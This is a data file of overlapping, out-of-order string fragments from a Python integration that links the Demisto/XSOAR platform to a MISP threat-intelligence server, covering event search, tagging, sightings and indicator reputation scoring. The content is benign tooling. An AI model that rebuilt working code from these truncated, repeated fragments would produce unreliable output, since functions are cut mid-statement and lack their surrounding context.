that was configured to be\",\n \"# Replacing keys and values from Demisto to Misp's keys if 'type' in\",\n \"that will be written to the context Returns: CommandResults includes all the indicator\",\n \"demisto_args.get('uuid') sighting_type = demisto_args['type'] # mandatory arg att_id = attribute_id or attribute_uuid if\",\n \"attribute_dict was received from an event object, meaning the tags are event's ones.\",\n \"'misp-add-file-object': return_results(add_file_object(args)) elif command == 'misp-add-domain-object': return_results(add_domain_object(args)) elif command == 'misp-add-url-object': return_results(add_url_object(args)) elif\",\n \"args new_event (MISPEvent): When this function was called from create event command, the\",\n \"in event_args events[i] = {key: events[i].get(key) for key in EVENT_FIELDS if key in\",\n \"if attribute.get('timestamp'): attribute['timestamp'] = misp_convert_timestamp_to_date_string(attribute.get('timestamp')) if event: if event.get('timestamp'): attribute['Event']['timestamp'] = misp_convert_timestamp_to_date_string(event.get('timestamp')) if\",\n \"event_id = get_event_id(object_data_dict) tag_name = tag.get('Name') related_events.append({'Event_ID': event_id, 'Event_Name': event_name, 'Tag_Name': tag_name, 'Tag_ID':\",\n \"'Dbot Score': score, 'Attribute Value': outputs[0].get('Value'), 'Attribute Category': outputs[0].get('Category'), 'Timestamp': outputs[0].get('Timestamp'), 'Events with\",\n \"event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def add_sighting(demisto_args: dict):\",\n \"raise DemistoException(\\\"page should be zero or a positive number\\\") if limit and limit\",\n \"in output hash_format = get_hash_type(value) if hash_format == 'Unknown': raise DemistoException('Invalid hash length,\",\n \"data_dict.get('ID'): return data_dict.get('ID') return data_dict.get('Event', {}).get('ID') def get_dbot_indicator(dbot_type, dbot_score, value): if dbot_type ==\",\n \"object and set the event's details. \\\"\\\"\\\" event = MISPEvent() event.distribution = MISP_DISTRIBUTION_TO_IDS[args.get('distribution')]\",\n \"\\\"\\\"\\\" attribute_id = demisto_args.get('id') attribute_uuid = demisto_args.get('uuid') sighting_type = demisto_args['type'] # mandatory arg\",\n \"'Botvrij.eu': {'name': 'The Botvrij.eu Data', 'url': 'http://www.botvrij.eu/data/feed-osint', 'format': 'misp', 'input': 'network'} } THREAT_LEVELS_TO_ID\",\n \"INDICATOR_TYPE_TO_DBOT_SCORE = { 'FILE': DBotScoreType.FILE, 'URL': DBotScoreType.URL, 'DOMAIN': DBotScoreType.DOMAIN, 'IP': DBotScoreType.IP, 'EMAIL': DBotScoreType.EMAIL,\",\n \") MISP_SEARCH_ARGUMENTS = [ 'value', 'type', 'category', 'org', 'tags', 'from', 'to', 'event_id', 'uuid',\",\n \"\\\"\\\"\\\" Gets an event id and deletes it. \\\"\\\"\\\" event_id = demisto_args.get('event_id') response\",\n \"score. The score is calculated by the tags ids (attribute tags and event\",\n \"event_object = add_event_response.get('Event') if event_object and 'id' in event_object: events_ids.append({'ID': event_object['id']}) if limit\",\n \"return_results(add_file_object(args)) elif command == 'misp-add-domain-object': return_results(add_domain_object(args)) elif command == 'misp-add-url-object': return_results(add_url_object(args)) elif command\",\n \"required=True) pagination_args_validation(page, limit) response = PYMISP.search(**args) if response: if outputs_should_include_only_values: response_for_context = build_attributes_search_response_return_only_values(response)\",\n \"recognised as suspicious). \\\"\\\"\\\" common_ids = set(malicious_tag_ids) & set(suspicious_tag_ids) suspicious_tag_ids = {tag_id for\",\n \"is_event_tag_malicious = any((found_tag := tag) in event_tags_ids for tag in malicious_tag_ids) if is_event_tag_malicious:\",\n \"malicious. - Attributes tags (both malicious and suspicious) are stronger than events' tags.\",\n \"function was called from create event command, the attrubite will be added to\",\n \"or ip). malicious_tag_ids (set): Tag ids should be recognised as malicious. suspicious_tag_ids (set):\",\n \"score, events_to_human_readable) readable_output = tableToMarkdown(f'Results found in MISP for value: {value}', attribute_highlights, removeNull=True)\",\n \"is optional. if 'demisto_query' does not contains any of the complex operators the\",\n \"demisto_args.get('text') event_id = demisto_args.get('event_id') domain = demisto_args.get('name') obj = MISPObject('domain-ip') ips = argToList(demisto_args.get('ip'))\",\n \"if dbot_type == \\\"EMAIL\\\": return Common.EMAIL(address=value, dbot_score=dbot_score) if dbot_type == \\\"URL\\\": return Common.URL(url=value,\",\n \"or attribute_uuid if not att_id: raise DemistoException('ID or UUID not specified') sighting_args =\",\n \"misp_response.get('Attribute') if is_indicator_found: outputs, score, found_tag, found_related_events = parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit) dbot\",\n \"Otherwise (if it is set to 0 or not exists) it says that\",\n \"event_to_human_readable_tag_list(event) event_galaxies = event_to_human_readable_galaxy_list(event) event_objects = event_to_human_readable_object_list(event) event_highlights.append({ 'Event ID': event.get('ID'), 'Event Tags':\",\n \"= args_to_misp_format.pop('from') if 'to' in args_to_misp_format: args_to_misp_format['date_to'] = args_to_misp_format.pop('to') if 'event_id' in args_to_misp_format:\",\n \"be scored as malicious. - Attributes tags (both malicious and suspicious) are stronger\",\n \"of event search returned from MISP to the context output format. please note:\",\n \"= prepare_args_to_search('events') page = arg_to_number(demisto_args.get('page', 1), \\\"page\\\", required=True) limit = arg_to_number(demisto_args.get('limit', 50), \\\"limit\\\",\",\n \"'id', 'orgc_id', 'org_id', 'date', 'threat_level_id', 'info', 'published', 'uuid', 'analysis', 'attribute_count', 'timestamp', 'distribution', 'proposal_email_lock',\",\n \"MISPEvent = None): \\\"\\\"\\\"Adding attribute to a given MISP event object This function\",\n \"the event's attribute tags ones as it is part of the event scope).\",\n \"'distribution': 'Distribution', 'type': 'Type', 'id': 'ID', 'date': 'CreationDate', 'info': 'Info', 'published': 'Published', 'attribute_count':\",\n \"{command}') args = demisto.args() try: malicious_tag_ids, suspicious_tag_ids = handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids) if command ==\",\n \"int]] for index, uri in enumerate(uri_list, 1): response = requests.get(f'{url}/{uri}.json', verify=use_ssl, headers=headers, proxies=proxies).json()\",\n \"{len(events_ids)} events was added to MISP.', events_ids) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=events_ids,\",\n \"DOMAIN_REGEX = ( r\\\"([a-z¡-\\\\uffff0-9](?:[a-z¡-\\\\uffff0-9-]{0,61}\\\" \\\"[a-z¡-\\\\uffff0-9])?(?:\\\\\\\\.(?!-)[a-z¡-\\\\uffff0-9-]{1,63}(?<!-))*\\\" \\\"\\\\\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\\\" \\\"|html)$)(?:[a-z¡-\\\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\\\\\.?$\\\" \\\"|localhost)\\\" ) MISP_SEARCH_ARGUMENTS = [ 'value',\",\n \"= event.pop('Tag_ID') found_tag_name = event.pop('Tag_Name') return { 'Attribute Type': outputs[0].get('Type'), 'Dbot Score': score,\",\n \"= { 'deleted': 'Deleted', 'category': 'Category', 'comment': 'Comment', 'uuid': 'UUID', 'sharing_group_id': 'SharingGroupID', 'timestamp':\",\n \"like: [{'analysis_submitted_at': '2018-06-15T06:40:27'}, {'threat_score': {value=95, to_ids=False}}, {'permalink': 'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'}, {'heuristic_raw_score': 7.8385159793597}, {'heuristic_score': 96}, {'original_filename':\",\n \"'\\\"') try: args = json.loads(attributes) if not isinstance(args, list): args = dict_to_generic_object_format(args) obj\",\n \"{ 'id': attribute_id, 'uuid': attribute_uuid, 'type': SIGHTING_TYPE_NAME_TO_ID[sighting_type] } sigh_obj = MISPSighting() sigh_obj.from_dict(**sighting_args) response\",\n \"ID': event.get('OrganizationID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID') }) return attribute_highlights def search_attributes(demisto_args:\",\n \"outputs=build_events_search_response(response), raw_response=response ) def remove_tag(demisto_args: dict, is_attribute=False): \\\"\\\"\\\" Function will remove tag to\",\n \"set(), set() found_related_events = {} if not attributes_list: return None for attribute in\",\n \"tag) # add the tag except PyMISPError: raise DemistoException(\\\"Adding the required tag was\",\n \"else 0 if 'include_feed_correlations' in args_to_misp_format: args_to_misp_format['includeFeedCorrelations'] = 1 if demisto_args.get( 'include_feed_correlations') ==\",\n \"tag except PyMISPError: raise DemistoException(\\\"Adding the required tag was failed. Please make sure\",\n \"UT: test_extract_error. Args: error: list of responses from error section Returns: List[Dict[str, any]]:\",\n \"'date': 'CreationDate', 'info': 'Info', 'published': 'Published', 'attribute_count': 'AttributeCount', 'proposal_email_lock': 'ProposalEmailLock', 'locked': 'Locked', 'publish_timestamp':\",\n \"= [ { 'name': event_object.get('name'), 'uuid': event_object.get('uuid'), 'description': event_object.get('description'), 'id': event_object.get('id') } for\",\n \"in args_to_misp_format: args_to_misp_format['limit'] = '50' if 'tags' in args_to_misp_format: args_to_misp_format['tags'] = build_misp_complex_filter(args_to_misp_format['tags']) args_to_misp_format['controller']\",\n \"PYMISP into readable response, for more information and examples please see UT: test_extract_error.\",\n \"set to 0 or not exists) it says that it is an attribute's\",\n \"-> CommandResults: \\\"\\\"\\\"Execute a MISP search over 'attributes'\\\"\\\"\\\" args = prepare_args_to_search('attributes') outputs_should_include_only_values =\",\n \"Otherwise it's event's. \\\"\\\"\\\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try: response =\",\n \"'EventCreatorEmail', 'name': 'Name', 'analysis': 'Analysis', 'threat_level_id': 'ThreatLevelID', 'old_id': 'OldID', 'org_id': 'OrganizationID', 'Org': 'Organization',\",\n \"generic_reputation_command(args, 'domain', 'DOMAIN', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'email': return_results(generic_reputation_command(args, 'email',\",\n \"when user set the arg 'compact' to True\\\"\\\"\\\" if isinstance(response_object, str): response_object =\",\n \"in response: raise DemistoException(f'Event ID: {event_id} has not found in MISP: \\\\nError message:\",\n \"command: {response}') except PyMISPError: raise DemistoException(\\\"Removing the required tag was failed. Please make\",\n \"dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): reputation_value_list = argToList(demisto_args.get(reputation_type), ',') command_results = [] for\",\n \"def event_to_human_readable_object_list(event): event_objects = event.get('Object', []) if event_objects: return [event_object.get('ID') for event_object in\",\n \"and deletes it. \\\"\\\"\\\" event_id = demisto_args.get('event_id') response = PYMISP.delete_event(event_id) if 'errors' in\",\n \"data is event's (is_event_level = true) we would like to add to tag_set_ids\",\n \"found_tag # no tag was found if is_attribute_in_event_with_bad_threat_level: return Common.DBotScore.BAD, None return Common.DBotScore.NONE,\",\n \"event_id}) human_readable = f'Object has been added to MISP event ID {event_id}' return\",\n \"'compact' to True\\\"\\\"\\\" if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return\",\n \"= demisto_args.get('comment') value = demisto_args.get('value') first_seen = demisto_args.get('first_seen') last_seen = demisto_args.get('last_seen') attribute_instance =\",\n \"Exception(\\\"MISP V3 error: Please provide a valid value for the Source Reliability parameter\\\")\",\n \"of this useless list event = attribute.get('Event') convert_timestamp_to_readable(attribute, event) found_related_events[event.get(\\\"id\\\")] = {\\\"Event Name\\\":\",\n \"dbot_type == 'IP': if not is_ip_valid(value): raise DemistoException(f\\\"Error: The given IP address: {value}\",\n \"url_parse.password)}) if url_parse.username and url_parse.password else None url_obj.extend(convert_arg_to_misp_args(demisto_args, url_args)) g_object = build_generic_object('url', url_obj)\",\n \"= MISP_ANALYSIS_TO_IDS.get(analysis_arg) if analysis_arg in MISP_ANALYSIS_TO_IDS else analysis_arg event.info = args.get('info') if args.get('info')\",\n \"called from create event command, the attrubite will be added to that existing\",\n \"attribute.pop(\\\"RelatedAttribute\\\") # get rid of this useless list event = attribute.get('Event') convert_timestamp_to_readable(attribute, event)\",\n \"= demisto_args.get('feed') url = url[:-1] if url.endswith('/') else url if PREDEFINED_FEEDS.get(url): url =\",\n \"'description': event_object.get('description'), 'id': event_object.get('id') } for event_object in event['Object'] ] def build_tag_output(given_object): \\\"\\\"\\\"given_object\",\n \"{key: attributes[i].get(key) for key in ATTRIBUTE_FIELDS if key in attributes[i]} build_galaxy_output(attributes[i]) build_tag_output(attributes[i]) build_sighting_output_from_attribute_search_response(attributes[i])\",\n \"reliability (DBotScoreReliability): integration reliability score. attributes_limit (int) : Limits the number of attributes\",\n \"level id is in [1,2,3]. Otherwise, the threat level is 4 = Unknown.\",\n \"dbot_type == 'EMAIL': if not re.compile(emailRegex, regexFlags).match(value): raise DemistoException(f\\\"Error: The given email address:\",\n \"\\\"\\\"\\\" reputation_value_validation(value, dbot_type) misp_response = PYMISP.search(value=value, controller='attributes', include_context=True, include_correlations=True, include_event_tags=True, enforce_warninglist=True, include_decay_score=True, includeSightings=True)\",\n \"= any((found_tag := tag) in attribute_tags_ids for tag in malicious_tag_ids) if is_attribute_tag_malicious: return\",\n \"[ 'text', 'last_seen', 'first_seen' ] event_id = demisto_args.get('event_id') url = demisto_args.get('url') url_parse =\",\n \"command_results = [] for value in reputation_value_list: command_results.append( get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability,\",\n \"'type', 'category', 'org', 'tags', 'from', 'to', 'event_id', 'uuid', 'to_ids', 'last', 'include_decay_score', 'include_sightings', 'include_correlations',\",\n \"limit the attributes amount to the given limit) and by sub-functions calculated the\",\n \"args.items()] def build_generic_object(template_name: str, args: List[dict]) -> GenericObjectGenerator: \\\"\\\"\\\" Args: template_name: template name\",\n \"Objects': event_objects, 'Publish Timestamp': event.get('PublishTimestamp'), 'Event Info': event.get('Info'), 'Event Org ID': event.get('OrganizationID'), 'Event\",\n \"len(response_for_context) == limit: pagination_message += f\\\"Showing page {page} out others that may exist\\\"\",\n \"'Publish Timestamp': event.get('PublishTimestamp'), 'Event Info': event.get('Info'), 'Event Org ID': event.get('OrganizationID'), 'Event Orgc ID':\",\n \"the events that were detected as related to the tag. \\\"\\\"\\\" scored_events =\",\n \"PyMISPError: raise DemistoException(\\\"Adding the required tag was failed. Please make sure the UUID\",\n \"= demisto_args.get('uuid') tag = demisto_args.get('tag') try: response = PYMISP.untag(uuid, tag) if response and\",\n \"[\\\"Value\\\"]) else: response_for_context = build_attributes_search_response(response, include_correlations) attribute_highlights = attribute_response_to_markdown_table(response_for_context) pagination_message = f\\\"Current page\",\n \"attribute_id, 'uuid': attribute_uuid, 'type': SIGHTING_TYPE_NAME_TO_ID[sighting_type] } sigh_obj = MISPSighting() sigh_obj.from_dict(**sighting_args) response = PYMISP.add_sighting(sigh_obj,\",\n \"= attribute.get('Event') convert_timestamp_to_readable(attribute, event) found_related_events[event.get(\\\"id\\\")] = {\\\"Event Name\\\": event.get(\\\"info\\\"), \\\"Threat Level ID\\\": event.get('threat_level_id'),\",\n \"List[dict]: \\\"\\\"\\\" Extracting errors raised by PYMISP into readable response, for more information\",\n \"for event in response_object] for i in range(0, len(events)): # Filter object from\",\n \"as suspicious). \\\"\\\"\\\" common_ids = set(malicious_tag_ids) & set(suspicious_tag_ids) suspicious_tag_ids = {tag_id for tag_id\",\n \"-> List[dict]: \\\"\\\"\\\" Extracting errors raised by PYMISP into readable response, for more\",\n \"event_tags_ids, malicious_tag_ids, suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level): \\\"\\\"\\\" Calculates the indicator score by following logic. Indicators\",\n \"f\\\"MISP search-events returned {len(response_for_context)} events.\\\\n {pagination_message}\\\", event_outputs_to_human_readable, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context,\",\n \"Returns: str: dictionary created for misp to perform complex query or if no\",\n \"in events[i]} events[i]['RelatedEvent'] = [] # there is no need in returning related\",\n \"a new MISP event object and set the event's details. \\\"\\\"\\\" event =\",\n \"include only the ID and Name fields. In addition, returns set of the\",\n \"1, 'Medium': 2, 'Low': 3, 'Unknown': 4 } MISP_ENTITIES_TO_CONTEXT_DATA = { 'deleted': 'Deleted',\",\n \"outputs Args: obj: object to add to MISP event_id: ID of event \\\"\\\"\\\"\",\n \"= r'(OR:)([^\\\\;]+)(;)?' regex_not = r'(NOT:)([^\\\\;]+)(;)?' misp_query_params = dict() match_and = re.search(regex_and, demisto_query, re.MULTILINE)\",\n \"tag_name = tag.get('Name') related_events.append({'Event_ID': event_id, 'Event_Name': event_name, 'Tag_Name': tag_name, 'Tag_ID': tag.get('ID')}) return related_events\",\n \"attribute_instance.uuid = attribute_uuid if attribute_type: attribute_instance.type = attribute_type if distribution: attribute_instance.distribution = MISP_DISTRIBUTION_TO_IDS[distribution]\",\n \"'2': 'expiration' } INDICATOR_TYPE_TO_DBOT_SCORE = { 'FILE': DBotScoreType.FILE, 'URL': DBotScoreType.URL, 'DOMAIN': DBotScoreType.DOMAIN, 'IP':\",\n \"event.get('Info'), 'Event Organization ID': event.get('OrganizationID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID') }) return\",\n \"by PYMISP into readable response, for more information and examples please see UT:\",\n \"if 'include_feed_correlations' in args_to_misp_format: args_to_misp_format['includeFeedCorrelations'] = 1 if demisto_args.get( 'include_feed_correlations') == 'true' else\",\n \"'expiration' } INDICATOR_TYPE_TO_DBOT_SCORE = { 'FILE': DBotScoreType.FILE, 'URL': DBotScoreType.URL, 'DOMAIN': DBotScoreType.DOMAIN, 'IP': DBotScoreType.IP,\",\n \"the ID and Name fields. In addition, returns set of the found tag\",\n \"'meta-category': 'MetaCategory', 'decay_score': 'DecayScore', 'first_seen': 'first_seen', 'last_seen': 'last_seen', 'provider': 'Provider', 'source_format': 'SourceFormat', 'url':\",\n \"that exists in both sets, it will be removed from the suspicious tag\",\n \"'test-module': return_results(test(malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, attributes_limit=attributes_limit)) elif command == 'misp-create-event': return_results(create_event_command(args)) elif command == 'misp-add-attribute':\",\n \"the data is event's (is_event_level = true) we would like to add to\",\n \"https://www.misp-project.org/objects.html#_url \\\"\\\"\\\" url_args = [ 'text', 'last_seen', 'first_seen' ] event_id = demisto_args.get('event_id') url\",\n \"is attribute or event, depends on the called function\\\"\\\"\\\" if given_object.get('Tag'): given_object['Tag'] =\",\n \"function parses the response. This function goes over all the attributes that found\",\n \"called function\\\"\\\"\\\" if given_object.get('Tag'): given_object['Tag'] = [ {'Name': tag.get('name'), 'is_galaxy': tag.get('is_galaxy') } for\",\n \"response of attribute search returned from MISP to the context output format. \\\"\\\"\\\"\",\n \"outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=events_ids, ) except ValueError as e: raise DemistoException(f'URL [{url}] is not\",\n \"is {command}') args = demisto.args() try: malicious_tag_ids, suspicious_tag_ids = handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids) if command\",\n \"'true' else 0 if 'include_correlations' in args_to_misp_format: args_to_misp_format['include_correlations'] = 1 if demisto_args.get('include_correlations') ==\",\n \"command_results def reputation_value_validation(value, dbot_type): if dbot_type == 'FILE': # hashFormat will be used\",\n \"a MISP search using the 'event' controller. \\\"\\\"\\\" args = prepare_args_to_search('events') page =\",\n \") def add_file_object(demisto_args: dict): entry_id = demisto_args.get('entry_id') event_id = demisto_args.get('event_id') file_path = demisto.getFilePath(entry_id).get('path')\",\n \"'category': 'Category', 'comment': 'Comment', 'uuid': 'UUID', 'sharing_group_id': 'SharingGroupID', 'timestamp': 'LastChanged', 'to_ids': 'ToIDs', 'value':\",\n \"= attribute_type if distribution: attribute_instance.distribution = MISP_DISTRIBUTION_TO_IDS[distribution] if category: attribute_instance.category = category if\",\n \"# hashFormat will be used only in output hash_format = get_hash_type(value) if hash_format\",\n \"the tags and galaxies lists. Eventually, the outputs will be a list of\",\n \"only related to an attribute we would like to add it to tag_set_ids.\",\n \"VERIFY = not params.get('insecure') PROXIES = handle_proxy() # type: ignore try: PYMISP =\",\n \"an event id and deletes it. \\\"\\\"\\\" event_id = demisto_args.get('event_id') response = PYMISP.delete_event(event_id)\",\n \"dict): \\\"\\\"\\\"Creating event in MISP with the given attribute args\\\"\\\"\\\" new_event = get_new_misp_event_object(demisto_args)\",\n \"attribute_instance.type = attribute_type if distribution: attribute_instance.distribution = MISP_DISTRIBUTION_TO_IDS[distribution] if category: attribute_instance.category = category\",\n \"'last_seen', 'first_seen' ] event_id = demisto_args.get('event_id') url = demisto_args.get('url') url_parse = urlparse(url) url_obj\",\n \"re.compile(urlRegex, regexFlags).match(value): raise DemistoException(f\\\"Error: The given url: {value} is not valid\\\") if dbot_type\",\n \"if timestamp else \\\"\\\" def replace_keys_from_misp_to_context_data(obj_to_build: Union[dict, list, str]) -> Union[dict, list, str]:\",\n \"return_results(search_attributes(args)) elif command == 'misp-delete-event': return_results(delete_event(args)) elif command == 'misp-add-sighting': return_results(add_sighting(args)) elif command\",\n \"else: pagination_message += f\\\"Showing page {page}\\\" md = tableToMarkdown( f\\\"MISP search-attributes returned {len(response_for_context)}\",\n \"new_event.get('errors'): raise DemistoException(new_event.get('errors')) event_id = new_event.id add_attribute(event_id=event_id, internal=True, new_event=new_event, demisto_args=demisto_args) event = PYMISP.search(eventid=event_id)\",\n \"threat level id is in [1,2,3]. Otherwise, the threat level is 4 =\",\n \"to MISP because of a NewConnectionError, ' 'Please make sure your MISP server\",\n \"demisto_args.get('entry_id') event_id = demisto_args.get('event_id') file_path = demisto.getFilePath(entry_id).get('path') obj = FileObject(file_path) return add_object(event_id, obj)\",\n \"f'Tag {tag} has been successfully added to attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute',\",\n \"Unknown. note: - In case the same tag appears in both Malicious tag\",\n \"= demisto_args.get('distribution') attributes_args.update({'distribution': MISP_DISTRIBUTION_TO_IDS[distribution]}) if distribution else None if not new_event: response =\",\n \"if hash_type == 'sha256': return Common.File(dbot_score=dbot_score, sha256=value) if dbot_type == \\\"IP\\\": return Common.IP(ip=value,\",\n \"once again\\\") new_event = response[0] # response[0] is MISP event new_event.add_attribute(**attributes_args) PYMISP.update_event(event=new_event) if\",\n \"event_id = demisto_args.get('event_id') template = demisto_args.get('template') attributes = demisto_args.get('attributes').replace(\\\"'\\\", '\\\"') try: args =\",\n \"<= 0: raise DemistoException(f\\\"Tag id has to be a positive integer, please change\",\n \"when this is an attribute level, default is '0' tag_id = tag.get('id') if\",\n \"type: ignore def event_to_human_readable_tag_list(event): event_tags = event.get('Tag', []) if event_tags: return [tag.get('Name') for\",\n \"re.compile(DOMAIN_REGEX, regexFlags).match(value): raise DemistoException(f\\\"Error: The given domain: {value} is not valid\\\") if dbot_type\",\n \"exists) it says that it is an attribute's tag. If the data is\",\n \"SSLCertVerificationError, ' 'Please try to use the Trust any certificate option.') if \\\"NewConnectionError\\\"\",\n \"sigh_obj.from_dict(**sighting_args) response = PYMISP.add_sighting(sigh_obj, att_id) if response.get('message'): raise DemistoException(f\\\"An error was occurred: {response.get('message')}\\\")\",\n \"ids. Some tags have a field called inherited. When it is set to\",\n \"dbot_score, value): if dbot_type == \\\"FILE\\\": hash_type = get_hash_type(value) if hash_type == 'md5':\",\n \"PYMISP.search(**args) if response: response_for_context = build_events_search_response(response) event_outputs_to_human_readable = event_to_human_readable(response_for_context) pagination_message = f\\\"Current page\",\n \"new_event = PYMISP.add_event(new_event, True) if isinstance(new_event, dict) and new_event.get('errors'): raise DemistoException(new_event.get('errors')) event_id =\",\n \"'Event', 'Object', 'Galaxy', 'Tag', 'decay_score', 'Sighting', ] def extract_error(error: list) -> List[dict]: \\\"\\\"\\\"\",\n \"tag. If the data is event's (is_event_level = true) we would like to\",\n \"= last_seen return attribute_instance def update_attribute_command(demisto_args: dict) -> CommandResults: attribute_uuid = demisto_args.get('attribute_uuid') attribute_instance\",\n \"to be malicious is stronger than recognised as suspicious). \\\"\\\"\\\" common_ids = set(malicious_tag_ids)\",\n \"'misp-remove-tag-from-attribute': return_results(remove_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-add-events-from-feed': return_results(add_events_from_feed(demisto_args=args, use_ssl=VERIFY, proxies=PROXIES)) elif command ==\",\n \"'Object', 'Galaxy', 'Tag', 'decay_score', 'Sighting', ] def extract_error(error: list) -> List[dict]: \\\"\\\"\\\" Extracting\",\n \"the UUID exists.\\\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag}\",\n \"was updated.\\\\n\\\" attribute = attribute_instance_response.get('Attribute') convert_timestamp_to_readable(attribute, None) parsed_attribute_data = replace_keys_from_misp_to_context_data(attribute) return CommandResults( readable_output=human_readable,\",\n \"replace_keys_from_misp_to_context_data(attributes) return formatted_attributes def build_galaxy_output(given_object): \\\"\\\"\\\"given_object is attribute or event, depends on the\",\n \"is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level) formatted_response = replace_keys_from_misp_to_context_data({'Attribute': attributes_list}) return formatted_response, score, found_tag, found_related_events def prepare_attributes_array_to_context_data(attributes_list): attributes_tag_ids,\",\n \"to MISP domain-ip description: https://www.misp-project.org/objects.html#_domain_ip \\\"\\\"\\\" text = demisto_args.get('text') event_id = demisto_args.get('event_id') domain\",\n \"outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response ) # event's uuid response = PYMISP.search(uuid=uuid) human_readable = f'Tag\",\n \"if attribute.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(attribute, False) attribute['Tag'] = limit_tag_output attributes_tag_ids.update(tag_ids) return found_related_events,\",\n \"raw_response=updated_event ) def generic_reputation_command(demisto_args, reputation_type, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): reputation_value_list = argToList(demisto_args.get(reputation_type),\",\n \"\\\"\\\"\\\" if isinstance(obj_to_build, list): return [replace_keys_from_misp_to_context_data(item) for item in obj_to_build] if isinstance(obj_to_build, dict):\",\n \"verify=use_ssl, headers=headers, proxies=proxies).json() misp_new_event = MISPEvent() misp_new_event.load(response) add_event_response = PYMISP.add_event(misp_new_event) event_object = add_event_response.get('Event')\",\n \"handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids): \\\"\\\"\\\" Gets 2 sets which include tag ids. If there is\",\n \"error section Returns: List[Dict[str, any]]: filtered response \\\"\\\"\\\" return [{ 'code': err[0], 'message':\",\n \"f'Tag {tag} has been successfully removed from the event {uuid}' return CommandResults( readable_output=human_readable,\",\n \"args_to_misp_format['date_from'] = args_to_misp_format.pop('from') if 'to' in args_to_misp_format: args_to_misp_format['date_to'] = args_to_misp_format.pop('to') if 'event_id' in\",\n \"is_attribute=False): \\\"\\\"\\\" Function will add tag to given UUID of event or attribute.\",\n \"= demisto_args.get('attributes').replace(\\\"'\\\", '\\\"') try: args = json.loads(attributes) if not isinstance(args, list): args =\",\n \"event tags). Args: value (str): The indicator value (an IP address, email address,\",\n \"for value: {value}\\\") def get_events_related_to_scored_tag(all_attributes, found_tag): \\\"\\\"\\\" This function searches for all the\",\n \"which configured as suspicious will be scored 2 (i.e suspicious). * don't have\",\n \"'OwnerOrganization.Name', 'event_uuid': 'EventUUID', 'proposal_to_delete': 'ProposalToDelete', 'description': 'Description', 'version': 'Version', 'Object': 'Object', 'object_id': 'ObjectID',\",\n \"Function will remove tag to given UUID of event or attribute. is_attribute (bool):\",\n \"MISP feed. error: {e}') def add_object(event_id: str, obj: MISPObject): \\\"\\\"\\\"Sending object to MISP\",\n \"event.date = datetime.today() event.published = argToBoolean(args.get('published', 'False')) return event def create_event_command(demisto_args: dict): \\\"\\\"\\\"Creating\",\n \"event_tag_ids = prepare_attributes_array_to_context_data(attributes_list) attribute_in_event_with_bad_threat_level = found_event_with_bad_threat_level_id(found_related_events) score, found_tag = get_score(attribute_tags_ids=attributes_tag_ids, event_tags_ids=event_tag_ids, malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids,\",\n \"Attribute\\\" list and limits the tags and galaxies lists. Eventually, the outputs will\",\n \"tag_ids: try: tag = int(tag) if tag <= 0: raise DemistoException(f\\\"Tag id has\",\n \"set(suspicious_tag_ids) suspicious_tag_ids = {tag_id for tag_id in suspicious_tag_ids if tag_id not in common_ids}\",\n \"email address: {value} is not valid\\\") def get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit):\",\n \"args_to_misp_format: args_to_misp_format['include_correlations'] = 1 if demisto_args.get('include_correlations') == 'true' else 0 if 'enforceWarninglist' in\",\n \"v} for k, v in args.items()] def build_generic_object(template_name: str, args: List[dict]) -> GenericObjectGenerator:\",\n \"words: 'AND:', 'OR:' and 'NOT:' using ',' as delimiter for parameters and ';'\",\n \"to MISP and returning outputs Args: obj: object to add to MISP event_id:\",\n \"found. Returns: list includes all the events that were detected as related to\",\n \"attributes_list}) return formatted_response, score, found_tag, found_related_events def prepare_attributes_array_to_context_data(attributes_list): attributes_tag_ids, event_tag_ids = set(), set()\",\n \"(Union[dict, list, str]): object to replace keys in Returns: Union[dict, list, str]: same\",\n \"argToList(params.get('suspicious_tag_ids')) reliability = params.get('integrationReliability', 'B - Usually reliable') if DBotScoreReliability.is_valid_type(reliability): reliability = DBotScoreReliability.get_dbot_score_reliability_from_str(reliability)\",\n \"add attribute to internal (bool): if set to True, will not post results\",\n \"dictionary that includes the tag list. is_event_level (bool): Whether the attribute_dict was received\",\n \"params = demisto.params() if not params.get('credentials') or not (MISP_API_KEY := params.get('credentials', {}).get('password')): raise\",\n \"re.MULTILINE) is_complex_and_operator = is_misp_complex_search_helper(match_and, misp_query_params, 'and_parameters') is_complex_or_operator = is_misp_complex_search_helper(match_or, misp_query_params, 'or_parameters') is_complex_not_operator =\",\n \"ID': attribute.get('ID'), 'Event ID': attribute.get('EventID'), 'Attribute Category': attribute.get('Category'), 'Attribute Type': attribute.get('Type'), 'Attribute 